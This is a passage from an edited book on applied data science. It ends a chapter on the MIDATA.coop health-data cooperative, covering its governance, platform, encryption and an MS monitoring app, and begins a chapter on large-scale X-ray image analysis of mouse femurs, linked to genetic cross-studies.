governance structures (there are also personal health record initiatives, where the
data management is not in the responsibility of the citizen) and in the goals (just
recording or also manipulating and analyzing the data) are worth mentioning.

It is still a challenge make personal health record data available for research. The
following activities are essential for implementing applied data science projects
based on personal data:

• Definition of benefits resulting from new forms of data management and
analytics

• Specification of the data to be collected and its source
• Consideration of legal issues relating to the usage of the data, particularly when

personal data of individual citizens are involved
• Implementing a governance and business model for the collection and use of the

data
• Operation of secure and scalable IT platform that can be augmented by third-

party applications
• and finally, taking advantage of the present and future opportunities while

managing the risks.
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This chapter describes these different aspects and illustrates them with the help of
the citizen science initiative named “MIDATA.coop”1 [for a general introduction to
citizen science, we refer to Irwin (2001) and Bonney et al. (2009)] that has addressed
those challenges and is solving them in a technical, economical, and ethical way.

MIDATA.coop embodies an IT platform managing personal data and the gover-
nance needed to operate it. As a not-for-profit, citizen-owned cooperative, its vision
is to allow citizens to collect, store, visualize, and share specific sets of their health-
related data2 with friends and health professionals, and to make anonymized parts of
these data accessible to medical research projects in areas that appeal to them. The
value generated by this secondary use of personal data is managed collectively to
operate and extend the platform and support further research projects.

2 Utility and Benefits in Using Personal Health Data

The key to successful data science projects is addressing a specific need and
producing direct benefits for all stakeholders involved in the process of generating,
gathering, managing, using, and analyzing data.

Regarding personal data in general and health data in particular, the stakeholders
are manifold (see Fig. 22.1). There are patients or just citizens (if we consider the
healthy ones as well), health professionals as individuals or healthcare institutions,
researchers, industry (in particular the pharmaceutical, medtech, and IT industries),
and public health policy makers. In the following, we describe the kind of benefits
that can be targeted for each stakeholder group when using MIDATA as a platform
for applied data science.

2.1 Benefits for Citizens and Patients

Collecting health data and making them available to citizens and patients empowers
and transforms them from rather passive objects in the healthcare system to active
subjects that are empowered to influence the resource allocation in the healthcare
system by governing the aggregation and distribution of their data (Woolley et al.
2016). The citizens can be supported in collecting and visualizing their data. As an
extension of the quantified-self movement (Appelboom et al. 2014), in which fitness

1https://www.midata.coop
2While in a first phase MIDATA.coop targets health-related data, its governance and IT architecture
allow to extend its use to other personal data, for instance, education data, whose secondary use
value is rapidly growing.
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conscious people monitor their performance (steps, speed, altitude, heart rate, etc.),
nowadays, thanks to the rapid spread of mobile sensors and tracking devices, people
can also monitor several types of health data, including but not limited to blood
pressure, glycemic index, pain level, and sleep quality.

Harnessing these new possibilities of broad data collection and combining them
with (big) data analytics approaches, data science projects aim to generate new
knowledge about risk factors, the development of new diagnostic tools, the impacts
of new treatments or medications. Citizens and patients will benefit from and
become active contributors to this new knowledge.

2.2 Benefits for Health Professionals

Health professionals benefit directly from good, accurate, and continuous health data
from their patients. This allows them to take more informed and therefore better
decisions, thereby increasing the quality of the treatment. They also benefit from the
aforementioned new knowledge and new diagnostic tools and possible treatments
that result from data science projects.

Fig. 22.1 Stakeholders involved in data science in healthcare
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2.3 Benefits for the Researchers

Researchers are among the main actors in data science projects, which they mostly
lead. They benefit from new ways of recruiting study participants, obtaining addi-
tional data and faster access to information, as well as new and more powerful data
analytics tools. Furthermore, they benefit from the possibilities to aggregate data
from multiple sources.

2.4 Benefits for the Pharmaceutical, Medtech, and IT
Industries

Data are key for developing new drugs, devices, IT services as well as for achieving
regulatory approval required to bring them on the market. The improved ability to
obtain access to the necessary data, to link and aggregate the data from different
sources, to gain and manage the consent of the data owners in a defined time frame
are important assets.

2.5 Benefits for Public Health

Policy making, in particular in the health and public health domains, has to rely on
evidence and data. That is not only true in industrialized countries, but also in low-
and middle-income ones. These countries do also suffer from the burden of the rise
in chronic diseases. Their scarce resources force them to optimize the actions they
plan and can afford to take. Availability of data in sufficient quality allows such
optimization.

3 Which Data?

We know that our health depends not only on our genetic constitution and the
effectiveness of the treatments that our healthcare system can provide, but also on
the environment we live and work in, and on our lifestyle. “Environment” encom-
passes many aspects including air quality, noise level, traffic intensity, pollen
density, weather conditions, etc. For health data science initiatives, data concerning
all those determinants are relevant and must be considered in specific combinations
depending on the targeted benefits.

Generally, data about our health status and the treatments provided are generated
mainly by healthcare professionals and their institutions (hospitals, home care,
radiology institutes, etc.). They may include vital signs, blood analysis, diagnostics,
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medications, radiology imaging, and omics data. These data are managed by a very
large set of applications in structured and unstructured format.

In addition to that, environmental data are widely available such as weather data
(UV light, air pressure, and temperature) and to some extent air quality data (small
particles, NOx, etc.), even though much less for noise, exposure to viruses, and other
environmental data. Environmental data can be linked to an individual based on
geolocation, but geolocation is not always known/collected and environmental data
are not available for all localizations with the necessary precision.

The collection of lifestyle data has seen a rapid development, starting from the
quantified-self movement mainly around sports activities and extending to the daily
monitoring of physical activity, weight, blood pressure, and respiratory capacity.
The emergence of low-cost sensors, the possibility to connect these sensors either to
the Internet (through Internet of things, IOT) or to smartphones, and the availability
of health (mobile) applications to visualize the values and evolution of these data
have accelerated the adoption by the population (Takacs et al. 2014). This results in a
large amount of data collected first by the users and then stored in a multitude of
cloud services.

One important field that acquires and requires all these kinds of data is precision
medicine, which aims at refining our understanding of disease onset and progres-
sion, treatment response, and health outcomes through the more precise measure-
ment of genetic, treatment, and environmental and behavioral factors that contribute
to health and disease (National Research Council (US) Committee on A Framework
for Developing a New Taxonomy of Disease 2011). Some forms of precision
medicine have already been established, particularly in the field of cancer therapy,
where certain drugs are given depending on individual tumor genetics. Including
self-collected data on environmental and behavioral factors will foster the extension
of individualized medicine (Swan 2012).

One of the challenges in data science projects is the ability to collect the necessary
data from various sources (Töpel et al. 2008). The main challenge, however, lies in
the correct interpretation of the data. Nowadays, most of the clinical data are
represented in medical reports in free text form. Interpretation of these data neces-
sitates either manual coding, which is very resource-consuming and therefore
limited, or natural language interpretation through machine learning algorithms
that need many well-annotated training data in order to generate good results
(Savova et al. 2010; Uzuner et al. 2010). The availability of data in structured
form is a large advantage for data science, but it is not sufficient. The format and
the semantics used to structure these data are most important. In the healthcare
domain, international standards for ontologies and classifications have emerged,
like, for instance, SNOMED (SNOMED International 2018) for coding medical
data or LOINC (LOINC 2018) for coding laboratory results. Unfortunately, some
standards are not for free use and most of them are not widespread in the current
information systems of the healthcare providers.
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4 Trust-Promoting Frameworks for Data Science Projects

Data science initiatives are run today in the private and the public sectors with
different governance and business models and promote different levels of trust.
Both, the business and public sector models, relying on profit and the general public
good, leave very little participation space for the citizens, the owners of the personal
data. Therefore, these models do not allow a relationship with the citizens that would
facilitate the extension of data science projects beyond the initial goal targeted by the
company or the research institution. One important mechanism for a long-term
commitment of citizens to data sharing is trust (Kaye et al. 2009).

To have citizen that engage with trust and active participation in data science
initiatives and to develop a new and fair data economy, the following pillars are
important from our experience-based point of view: democratic organization, not-
for-profit model, transparency, and data security (Hafen et al. 2014):

• Democratic organization: The cooperative form is quite adequate for the entity
in charge of collecting and managing personal data. The democratic principle
“one member one vote” of cooperatives fits particularly well as every citizen has
similar amount of personal data to be managed. In this way, the individual is able
to make various sets of personal data (genome, nutrition, geolocation, medical,
and fitness data) accessible for novel data services and research projects. The data
cooperative as a representation of its users ensures that the data made accessible
by the data subjects will only be used for the purpose of the service or data science
project and there is a fair financial compensation for data use that goes to the not-
for-profit cooperative, and can be used for actions the cooperative decides to be
useful, for example, extending the information dissemination regarding scientific
results.

• Not-for-profit: This model finds its justification in the fact that the economic
value of the data is not in the individual data sets but in the whole data set
resulting from the aggregation of the data of all persons. Therefore, the value of
the data should not belong to a private organization or be paid to individuals but
managed in a not-for-profit manner to the benefit of the society, represented by
the cooperative. Financial incentives to share personal data should not be distrib-
uted. For instance, in the case of blood donation, numerous studies have shown
that the quality of the blood is worse when the donor receives a direct payment
(Mellström and Johannesson 2008). The large economic value resulting in the
aggregation of data under the control of the citizen flows back into the cooper-
ative, and its members can decide how to allocate those resources for the
development of new services and for conducting further data science projects in
the same not-for-profit framework.

• Transparency: The organization of the cooperative with its general assembly of
its members is one of the elements of transparency. The cooperative should also
nominate an ethics committee, which overlooks and validates the initiatives,
projects, and new services that the cooperative targets to operate. On the
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information technology side, the software should be open source, so that its
quality and purpose can be verified at any time by any person.

• Data security: In order to protect privacy and increase trust the latest data
security mechanisms, such as advanced encryption technologies, should be
used and validated with regular security audits. Having a public-key infrastruc-
ture allows the user to have the data encryption key under his or her control. In
this way, even database administrators have no access to the data.

The combination of transparent, democratic, not-for-profit governance and
secured open-source infrastructure is the basis and condition for the emergence of
a new sustainable data economy supporting fair data science projects. Not only
traditional services and research projects can be run on such a framework but also
innovative services from third parties can be offered.

The MIDATA.coop is an example of a cooperative that is based on these pillars.
Its articles of association imply citizens as members, one cooperative share per
member, and one vote per share. As any cooperative, it is managed by its board
members. To assure that the goals are followed and the means used by the cooper-
ative are aligned with its vision and ethical rules at any time, an ethics committee has
the task to review all data science projects before they are allowed to be operated on
the framework. In addition, an international and multidisciplinary advisory board has
been constituted.

In the MIDATA ecosystem, the IT platform (data storage and access management
governed by the member-owned cooperative) is separated from the data applica-
tions. This forms a novel type of personal data innovation framework. As data
account holders, the citizens can choose from a variety of different data services
and research activities in which they decide to participate. Startup companies,
corporations, and research groups can offer services in the form of mobile applica-
tions that analyze and collect data (e.g. medical, activity, and nutrition data)—data
that hitherto have resided in noncompatible data silos. Access authorization always
resides with the data owner.

As mentioned earlier and illustrated in Fig. 22.2, the cooperative acts as the
fiduciary of the account holders’ data. It negotiates with research organizations, data
service providers, and pharmaceutical companies the financial conditions for
accessing the data that individuals have authorized for these specific use cases.
Such use cases may include the recruitment of patients for clinical trials, providing
mobile app-based health services or drug side effect reporting (outcomes-based
medicine). The revenues generated will be allocated to the maintenance of the
platform, security checks, upgrades, and on additional services for the account
holders. Members of the cooperative will decide how additional profits will be
invested in projects (e.g. research projects) that will profit society. Value is created
collectively; there is no pressure on individuals to sell their individual data.
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5 IT Platform

The ability to make use of a right to a digital copy of personal data requires a suitable
and trusted IT infrastructure to securely store, manage, and control access to personal
data. Such a trust-promoting framework for active data sharing for personal data
services and medical research rests on data security, the individual’s control over
their data, and a fair as well as transparent governance.

A suitable IT infrastructure that meets these criteria builds on a cloud-based data
storage platform. Individuals open their own data account in which individual
personal data records are securely stored. Only the data owners control to whom
they grant access, to which data sets, and for what purpose.

To illustrate this, Fig. 22.3 shows the component architecture design of the
MIDATA IT platform. This architecture has a clear separation of data acquisition,
data management, and data analytics.

The data acquisition can be done interactively through mobile applications or a
web portal or indirectly by importing data from external data sources. Sensors can
either be integrated with mobile applications, which are directly connected to the
MIDATA server or communicate with third-party servers, like the platforms pro-
vided by large activity tracker vendors.

The interface to the MIDATA server is provided through an application program-
ming interface (API) that complies with the new standard FHIR (FHIR v3.0.1 2018)
(Fast Healthcare Interoperability Resources framework). This standard, developed
by the standardization organization HL7.org finds a rapidly growing acceptance for
the connection of mobile health applications (mHealth) with back-end systems like
the secured cloud services provided by MIDATA. The FHIR standard not only

Fig. 22.2 MIDATA.coop governance and ecosystem
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defines the syntax of the messages exchanged between the mHealth Apps and the
server but also the syntax and most importantly the semantics of the information to
be stored and managed by the server. FHIR does not define “yet another semantics”
but allows to reference well-known and widespread coding systems from the
healthcare domain like LOINC or SNOMED.

The core of the MIDATA IT platform is the data management part. The data
management is offered and implemented as “secured cloud services” and interacts,
on the one hand, with the different data acquisition channels and, on the other hand,
it can export data for analysis in anonymous or nominative form depending on the
requirements and on the consent type. The MIDATA server is composed of a first
layer, handling the identification and authentication of the users and also handling
the access management and the cryptography to protect the data. Past this layer each
data element is stored as a single object (in JSON format). Within the JSON object,
the syntax and semantic of FHIR is used. These JSON objects are stored in a NoSQL
database, thus allowing great flexibility in handling the large diversity of data types
that are typically encountered in the health domain.

The data analytics part needs dedicated tools for the researchers who work on the
data that the data owners have shared with them and which is therefore implemented
in separate components.

The clear separation between mobile applications and data management allows
third parties to develop and distribute mobile applications, which can be for-profit.
Thus, an ecosystem can emerge where profit can be generated from value-added
services for collecting and visualizing data, while the management of the data would
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always remain a not-for-profit activity, with citizens retaining control about sharing
and using their data. To allow the ecosystem to grow with development done by
third-parties, MIDATA focuses on the development, operation, and maintenance of
the components painted in blue in Fig. 22.3. Moreover, MIDATA enables third-
party actors to develop, operate, and maintain the pink components.

6 Data Protection and Security

Data protection is key to any data science project. Data protection is not only
required by legislation but is also mandatory to build and maintain trust with the
data owners. Data protection means in particular allowing access to data only to
parties that have received explicit informed consent by the data owners. In addition
to that, data security implies management of the data based on security aspects,
regular verification that security is continually assured, and protection against
data loss.

The MIDATA IT platform enforces data protection by:

• Allowing a citizen to register to the platform and become an account owner
• Authenticating each data owner using the platform
• Securely managing the data of each data owner
• Allowing a data owner to share data with another user or with a third party

conducting a data science project
• Managing the access to the data of each data owner
• Allowing a data owner to delete his/her data
• Allowing a data owner to withdraw from the platform and have all data optionally

exported and then deleted
• Identifying each researcher using the platform
• Managing descriptions provided by researchers of each of their data science

project as a basis for receiving explicit informed consent
• Managing the consent of each data owner willing to participate in the data science

project and sharing part of his or her data in nominative, coded, or anonymized
form

• Allowing each participant to withdraw consent to MIDATA-related aspects of a
project

In addition to the services provided by the MIDATA IT platform, additional
organizational measures have been taken, such as:

• Identifying users as real persons in order to prohibit fake users
• Managing the register of the researchers using the MIDATA IT platform
• Managing and vetting the MIDATA administrators of the MIDATA IT platform
• Review of the ethical quality of services by a dedicated ethics committee

On the MIDATA IT platform, each data item is stored and managed as a single
record. Each record is encrypted with a first key, which is stored with other similar
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keys in an access permission set. This access permission set is encrypted with a
second key. In a third step, this second key is encrypted with the public key of the
data owner.

A data owner willing to access his/her data will use their primary key to decrypt
the second key that allows them to decrypt and read the access permission containing
the keys to finally decrypt, access, and read the data. All those operations are
triggered by the user but executed by the MIDATA IT platform, thus hiding this
complexity to the user.

For a data owner giving consent to share data (referenced in one of his or her
access permission sets) with a researcher or with another user, the second key that
had been used to encrypt that access permission set will then be encrypted with the
public key of the researcher or of the other user.

In this way, the researcher or the other user uses his/her primary key to decrypt the
second key that allows him/her to decrypt and read the access permission containing
the keys to finally decrypt, access, and read the data.

Security audits are run by external independent and recognized security expert
organizations on an annual basis. These audits check that no unauthorized access to
the platform and the managed data is possible. Some of those intrusion tests are run
with no user login available to attempt access to any data; other tests are run with a
user login with the intent to access more data than allowed.

7 Example of a Data Science Project Running on MIDATA

The MIDATA IT platform is used for one data science project in which patients with
Multiple Sclerosis (MS) are monitored at home. It is a collaboration between
MIDATA, University of Applied Sciences Bern and Andreas Lutterotti from the
Neurology Clinic at the University Hospital in Zürich. MS is a prototypic autoim-
mune disease characterized by recurrent areas of inflammation in the brain and spinal
cord (Sospedra and Martin 2005). With more than 2 million patients worldwide and
more than 10,000 in Switzerland, MS is one of the leading causes of neurological
disability in early adulthood. Like many other diseases, MS is a complex disease,
where both etiology and disease course are strongly influenced by an interplay of
genetic, environmental, and lifestyle factors (Olsson et al. 2017).

The whole project is set to measure both, (1) objective neurological function by
implementing different tests for cognition, hand and arm function, as well as gait;
(2) patient reported outcome measures using standardized questionnaires or visual
analog scales to assess neurologic function, cognition, fatigue, and mood disorders;
and (3) gather information on lifestyle and environmental factors that can influence
the course of the disease. A smartphone app has been developed that allows
continuous monitoring of patients with Multiple Sclerosis (MitrendS App; see
Fig. 22.4). This app has two tests: one assesses the speed and correctness in
reproducing a symbol-sign assignment, and the other the ability to memorize a
path through a graph. It will be used by MS patients in order to monitor their motoric
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and cognitive capabilities and compare the results of the tests throughout time. Up to
now, the app has been successfully tested with healthy persons (results are repro-
ducible) and the recruitment of patients has started.

Tools to predict clinical evolution of MS for individual patients at the time of
diagnosis or to identify the most effective treatment are major unmet medical needs
for MS patients and their treating physicians. All currently available clinical/imaging
measures or biomarkers used for risk assessment perform relatively well at the group
level, whereas individual predictions for single patients are not yet available.
Concerning the analysis of disease progression, the project intends to study the
correlation between external factors such as sun exposure (there is no need for the
patients to enter such information with geolocalization) and MS symptoms. Partic-
ularly, climatic and environmental variables in combination with lifestyle factors are
the most easily accessible external factors that could influence the progression of MS
and therefore those are the ones that will be used in the analysis.

8 Conclusion and Lessons Learned

MIDATA.coop is an example for a novel patient engagement effort. Organized as a
citizen-owned not-for-profit cooperative, it allows patients and citizens to securely
store and manage personal data. This leads to new forms of participation in research
(by patient empowerment) besides formal enrolment in clinical trials or

Fig. 22.4 Screenshots of the tests implemented in the MitrendS App
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epidemiological studies. In addition to that, much more data can be considered by
the switch from institution-controlled data to citizen-controlled data, leading to new
opportunities for precision medicine.

The following lessons have been learned since the MIDATA platform has been
operational (2016):

• The widespread smartphone use in the population is a major opportunity for the
collection of new kind of data and new business models.

• Many citizens are willing to contribute to science, especially when being affected
by diseases or having relatives affected.

• Researchers are more and more using real data such as provided by MIDATA
because of the need for a better understanding of all determinants of health.

• Not only should the data be at the center of business models, but also applications
using such data.

• Structured data are often lacking; hence, the need for more NLP and text mining
applications for unstructured data.

• Interoperability is still an issue due to the lack of agreement on semantics. We
suggest FHIR as a promising collection of standards in the health domain.

• Data security such as cryptographic technologies is increasingly important when
citizens store an increasing amount of data on a platform.

• Transparency concerning the MIDATA platform and its governance structure is
highly important, both for those storing data and those using such data.
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Chapter 23
Image Analysis at Scale for Finding
the Links Between Structure and Biology

Kevin Mader

Abstract Image data is growing at a rapid rate, whether from the continuous
uploads on video portals, photo-sharing platforms, new satellites, or even medical
data. The volumes have grown from tens of gigabytes to exabytes per year in less
than a decade. Deeply embedded inside these datasets is detailed information on
fashion trends, natural disasters, agricultural output, or looming health risks. The
large majority of statistical analysis and data science is performed on numbers either
as individuals or sequences. Images, however, do not neatly fit into the standard
paradigms and have resulted in “graveyards” of large stagnant image storage
systems completely independent of the other standard information collected. In
this chapter, we will introduce the basic concepts of quantitative image analysis
and show how such work can be used in the biomedical context to link hereditary
information (genomic sequences) to the health or quality of bone. Since inheritance
studies are much easier to perform if you are able to control breeding, the studies are
performed in mice where in-breeding and cross-breeding are possible. Additionally,
mice and humans share a large number of genetic and biomechanical similarities, so
many of the results are transferable (Ackert-Bicknell et al. Mouse BMD quantitative
trait loci show improved concordance with human genome-wide association loci
when recalculated on a new, common mouse genetic map. Journal of Bone and
Mineral Research 25(8):1808–1820, 2010).

1 Introduction

Image analysis is a complex process involving many steps (see Fig. 23.1) that are
rarely explained sufficiently. Their relevance is continually increasing in both the
scientific (microscopy, satellite images, tomography) and commercial (cellphone
cameras, YouTube videos, etc.) domains. The processing of such images has drastic
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consequences on the final results and their reproducibility, accuracy, and statistical
significance. Therefore, the steps taken form a critical component of the analysis
pipeline.

2 Background: Where Do Images Come From?

Imaging systems follow a standard pattern to create images of objects (see Fig. 23.2).
The initial stage is the impulse or excitation (some modalities like bioluminescence
have no impulse but most do). The impulse interacts with the characteristic of
interest in the sample to produce a response. Finally, there is a detection system,
which records this signal to form the image. This flow is quite abstract and to make it
more concrete, there are several common imaging modalities listed below with
typical results (see Table 23.1).

Fig. 23.1 The figure shows the progression from an experiment to a publicized final result and
highlights the logical leaps that are taken between the actual measurement and interpretation

Fig. 23.2 The creation of images shown as a generic pathway from an original impulse to the
sample and then a response that is measured by the detection system
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3 How Is an Image Represented?

An image is a pairing between spatial information (position) and some other type of
information (value). Typically, an image is represented as a grid or array of such
pairings as shown in Fig. 23.3. The values are often represented as colors, intensities,
or transparencies to make visualizing the data easier.

4 Use Case: How to Look at Femur Fracture?

Fractures in the femur neck are one of the most debilitating diseases when surgically
treated in the elderly. They have a mortality rate of 1 in 4 within a year, and require
(for nearly 1 in 2 cases) additional surgery within 2 years. The current way for
assessing risk is the standard clinical measurement of bone mineral density (BMD),
which quantifies the amount of bone present (Blomfeldt et al. 2005). While such
metrics provide some insight into the risk profile, only a small proportion of such
fractures can be explained or predicted by this metric. To understand the risk better,
more specific information is needed about not just the quantity of the BMD but also
the quality.

Imaging can be used to see more detailed views of the bone and assess quality
through structure and organization. As bones are not transparent, standard optical

Table 23.1 Image creation process for several different standard modalities and how they fit in the
model shown in Fig. 23.2

Modality Impulse Characteristic Response Detection by

Light
microscopy

White light Electronic interactions Absorption Film, camera

Phase
contrast

Coherent light Electron density
(index of refraction)

Phase shift Phase stepping,
holography, Zernike

Confocal
microscopy

Laser light Electronic transition in
fluorescence molecule

Absorption
and
reemission

Pinhole in focal plane
and scanning
detection

X-ray
radiography

X-ray light Photo effect and
Compton scattering

Absorption
and
scattering

Scintillator, micro-
scope, camera

Ultrasound High-fre-
quency sound
waves

Molecular mobility Reflection
and
scattering

Transducer

MRI Radio-fre-
quency EM

Unmatched hydrogen
spins

Absorption
and
reemission

RF coils to detect

Atomic
force
microscopy

Sharp point Surface contact Contact,
repulsion

Deflection of a tiny
mirror
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microscopy approaches work poorly and X-ray based methods are preferred for
looking at high-resolution structural differences.

As quality itself could be difficult to quantify in a clinical setting (expensive high-
resolution scans with prohibitively high doses of X-ray), we aim to determine the
heritable attributes as these can be easily and cheaply examined with low-cost
genetic tests (Jansen and Stam 1994). Here we show a study looking at the
multiple-scales (see Fig. 23.4) involved in femur fracture and a brief analysis of
how the genetic basis of it can be assessed.

Fig. 23.3 A simple representation of an image where each box has the spatial position shown in the
upper half in parentheses and the value shown in the lower half as a number

Fig. 23.4 The femur neck shown on a multiscale graphic from body level (left) to cellular level
(right)
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5 Study Design

In this section, we address the design of a study to evaluate this idea. The tools of
genetics, image analysis, and statistics can then be used to start to break down a
complicated process like fracture risk into quantitative assessment of bone structure
and specific regions of the genome.

Genomics is the study of genes and their influence on a biological organism. Like
many systems in biology, the relationship between genes, anatomy, and physiology
is complicated and multifaceted. Genomics has undergone a series of major break-
throughs made possible by improved sequencing techniques (Reuter et al. 2015). It
is now possible to quickly and reliably sequence the full genetic makeup of individ-
uals. Some insight can be gained by analyzing the sequences themselves, and a
number of Big Data projects are tackling this exact problem (Reuter et al. 2015).
However, the insight gained from such analyses is limited without a concrete
connection to biology. There are several reasons for the large gaps between genetic
makeup and biology: many of the genes are not used or expressed, internal cellular
factors can regulate the behavior of genes independently up and down, and many
other issues grouped coarsely into the field of epigenetics (Jansen and Stam 1994).

Phenomics is the study of specific visible, expressed traits and their relationship
to the genetic makeup. Rather than focusing on genetic material, it takes the opposite
approach and focuses on visible, physical traits and works backward to the relevant
factors (Jansen and Stam 1994). The easiest approach to studying Phenomics
involves making changes to single regions of the genome and seeing what effect
this has on the animal (Jansen and Stam 1994). This approach is normally imprac-
tical since there are so many different regions that can be changed and so many
different effects a single gene can have.

5.1 Image Acquisition

Given the opacity of bones and importance of three-dimensional (3D) structure,
visible light is poorly suited for imaging. We therefore measure the femur bones
using X-ray tomography (Feldkamp et al. 1989), a technique that uses high-energy
X-rays to penetrate entirely through the sample, creating a shadow (radiograph) of
low and highly X-ray absorbing regions. From these shadows, 3D volumes can be
reconstructed using computational techniques like filtered back-projection
(Feldkamp et al. 1989). Structure is an inherently complex idea and does not
immediately lend itself to quantification. Structure is a very visual characteristic
typically described using qualitative terms like smooth, round, or thick applied to
regions of an image. Such assessments, while valuable for gathering insight into
complicated samples, cannot be reproducibly applied across the thousands of mea-
surements used in a study. In order to perform reproducible studies, we need a
clearly defined process for extracting and summarizing values from the sample. For
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each extracted value, a single metric must be defined that measures a given charac-
teristic of the sample. For standard numeric measurements like height and weight,
this is an easy task, which involves recording a number and can be easily summa-
rized by examining the distribution, means, and moments. For images this presents a
problem, since they are not single metrics nor are they trivial to summarize into such
a number (the average image is usually neither meaningful nor easily to calculate).

The images of a subset of the data are shown in Fig. 23.5. Each image of a femur
contains over 8 billion voxels (a 3D pixel) of data detailing the X-ray absorption
(Fig. 23.5, left panel) in an approximately 2 mm � 2 mm � 2 mm cube. Since the
femur bone samples are primarily made from three very different materials: calcified
bone, cellular soft-tissue, and air, we can apply a threshold approach for classifying
each voxel. We thus classify each voxel using upper and lower cutoffs for the
expected absorption coefficient of given material (Mader et al. 2013). The classifi-
cation of the image into different phases results in a number of subimages created for
each (one for bone, one for cells, and one for vessels). With each voxel classified into
one of these categories, the data has been strongly reduced but there is still far too
much information for any further analysis (Fig. 23.5, right panel). To quickly review,
we have converted grayscale images with intensity representing physical properties
of the sample into binary images representing the class each of those pixels is most
likely to be in. The binary images still represent too much data to analyze as they just
contain the x, y, z coordinates for bone, cell, and vessels and do not yet quantify any
anatomical features in a meaningful way.

Fig. 23.5 The left panel shows a display of a subset of 377 randomly selected raw tomographic
datasets of complete bones. The right panel shows 1300 samples with full 3D renderings based on
the known material properties of bone. The graphic illustrates the scale data needed and the
requirement for consistency in measurement
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5.2 Image Analysis

For this study, we focus on the structure and morphology of the bone and its
subcellular structures. This means we are interested in how the groups of voxels
are organized with respect to each other to form higher structures with anatomical
significance like cortical bone, vascular structures, and cells. Several different
approaches exist for segmenting and quantifying these structures (Schwarz and
Exner 1983) and these tools can be easily combined to create a series of biologically
relevant metrics. We thus use a list of established, validated metrics (Mader et al.
2013) to condense the 3D image data into single metrics such as average bone
thickness, cell count, cell alignment, and cellular density. From a high-level per-
spective, the problem seems to be solved; however, the analysis is an interesting case
study for scalable image analysis because the size of the images is very large
(8 billion voxels per image, i.e., the size of each image is 16 GB) and there are
many images in the study (>1000), resulting in a total size of about 16 TB. The large
size of each sample is a problem that is ill-suited for database or standard statistics
tools, while the large number of samples makes it poorly suited for one-off 3D
visualization and analysis tools that are frequently interactive and offer limited
“batch-analysis” functionality.

The situation is thus primed for a new paradigm of tools, commonly referred to as
Big Data, which offer the raw computational power of high-performance computing
paired with a design that is suited to large number of fault-tolerant, reproducible
analyses (Mader and Stampanoni 2016). The basic approach involves applying the
MapReduce paradigm (Dean and Ghemawat 2008) to break up the entire analysis
into small, independent components (map-steps and reduce-steps). These indepen-
dent components are then run on one or more machines in a parallel, distributed
manner.

The most-common “Hello World” example for Big Data Processing is counting
words in a number of different documents (Dean and Ghemawat 2008). For
MapReduce, the task is divided into map steps that breakdown every document
into a bunch of individual words and the reduce step, which groups by word and then
counts the occurrences. For images to benefit from such a degree of parallelism, they
need to be subdivided into smaller blocks. These blocks can thus be independently
processed and brought into the final result.

For a simple operation like estimating the volume fraction of the different phases
in bone, a pipeline for the necessary tasks is shown in Fig. 23.6. This is the image
analysis equivalent of a word-count where, instead of unique words, the idea is to
count the number of pixels in two different phases in the image. We will now explain
these steps in more detail.

• The first two steps of the pipeline are IO-related: dividing the image into blocks
and loading the data for each block in.

• The third step is applying the thresholding function (threshold_image) to classify
the pixels into bone and air. For the example of bone, this function would be to
take the gray value of the image and threshold it above and below 600 Hounsfield
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units, the standard absorption value for calcified tissues (Mader et al. 2013).
Everything above 600 would be considered bone and everything below would be
soft-tissues, air, and water.

• The fourth step is taking the bone and air post-threshold images and counting the
number of pixels for each block.

• The last two steps take these labels (bone, air) and pixel counts and group them by
the label name and aggregate the pixel counts by adding the values together.

The workflow covers data loading, thresholding, summation, and summarization.
The level of parallelism until the very last step is equal to the number of blocks being
processed (ten in the example) and thus can be executed on a number of machines
independently – what is commonly called embarrassingly parallel (Dean and
Ghemawat 2008). We show the performance of the pipeline shown in Fig. 23.6 in
Fig. 23.7. The graph shows how well a small task can be distributed among multiple
cores and multiple machines. The graph is not meant to be perfectly quantitative or
entirely reproducible (cluster-load, network traffic, core utilization, garbage collec-
tion, and dozens of other factors make true benchmarking very difficult), but the
results represent averages over ten runs. The image sizes were varied from 30 MB to
463 GB on a cluster of machines using from 1 to 360 cores. A key factor for
performance is the number of blocks used. This is important because the blocks
make up the units that are processed and have a cost of being transferred across the
network and serialized on disk. Therefore, their size must be matched to the network

Fig. 23.6 A display of the directed acyclic graph (DAG) of the MapReduce-style workflow behind
the volume-fraction analysis. The types here are pseudo-code based on Python where ndarray is an
n-dimensional array with the dimensionality for the given problem listed afterward
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performance, disk performance, memory on each machine, and the complexity of the
operations performed (Mader and Stampanoni 2016).

The last step of aggregating all of the results together cannot be done as efficiently
as it involves communication between nodes. Fortunately, the size of the data at this
step is in this case (and many others) much smaller (Mader and Stampanoni 2016).

While the workflow is very similar to the MapReduce word-count example, it is
very different from standard image analysis pipelines done in tools on high-
performance cluster computers using OpenMPI (Almeer 2012). These standard
OpenMPI workflows typically operate on images as large contiguous memory
blocks in shared-memory on one machine that multiple threads are able to scan
through in parallel. While the standard workflows do provide high performance on
datasets up to tens of gigabytes in size, they struggle to transition to a large
distributed and larger than memory datasets required for the processing of terabytes
of data (Almeer 2012).

Fig. 23.7 A panel of the figure showing the scaling performance using MapReduce pipelines on
3D images. The title shows the image size, the x-axis shows the total core count, and the y-axis
shows the speed-up. Different colors represent the number of nodes used and different point shapes
show different block sizes for computation. The black-line shows perfect linear scaling
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5.3 Genetic Cross-Studies

Once the image data have been processed, it is possible to begin to link the results to
the biology. Since each of the samples measured and analyzed above has a slightly
different genetic makeup, we want to link the genetic makeup to its manifestation in
structural properties. In an ideal world, rather than starting with a random, diverse
group, we would take identical specimens and make single point mutations to each
one and measure the effect. Unfortunately, due to the complexity of such mutations
and the sheer number that would need to be made (>50,000 genes in a mouse), we
make use of cross-studies. Cross-studies look at a huge number of different regions
of the genome at the same time. The standard process involves taking two pure
strains of mice (inbred over many generations) that are homozygous (the same genes
from both parents) at every position of the genome. As shown in Fig. 23.8, we take
two different strains of mice with different known bone mechanical properties. The
group on the left has a low bone mass with thin bones (blue), and the group on the
right (red) has high bone mass with correspondingly thicker bones. We choose these
starting points because we expect to find a number of differences explaining which
genes are responsible for the larger bone-mass bones. A single cross (F1) results in a
population of identical heterozygous (different genes from each parent) mice. A
second cross (F2) results in a population of mixed mice with genetic regions coming
from the first strain (shown in blue in Fig. 23.8) and the second strain (shown in red).
These mice can then be tagged at a number of different regions throughout the
genome to identify which strain that region came from (homozygous blue, homo-
zygous red, or heterozygous) (Silver 1995).

5.4 Messy Data

As is common in biology and medicine, the measured data from such a study is very
messy. The confidence of measurements is low, and in many cases so low as to be
treated as a missing value. An overview of the genetic data collected in this study is
shown in Fig. 23.9 and the white regions represent missing data. Each row represents
an individual mouse and each column is a position along the genome (marker). The
markers are regions of the genome that can be easily, uniquely identified and thus
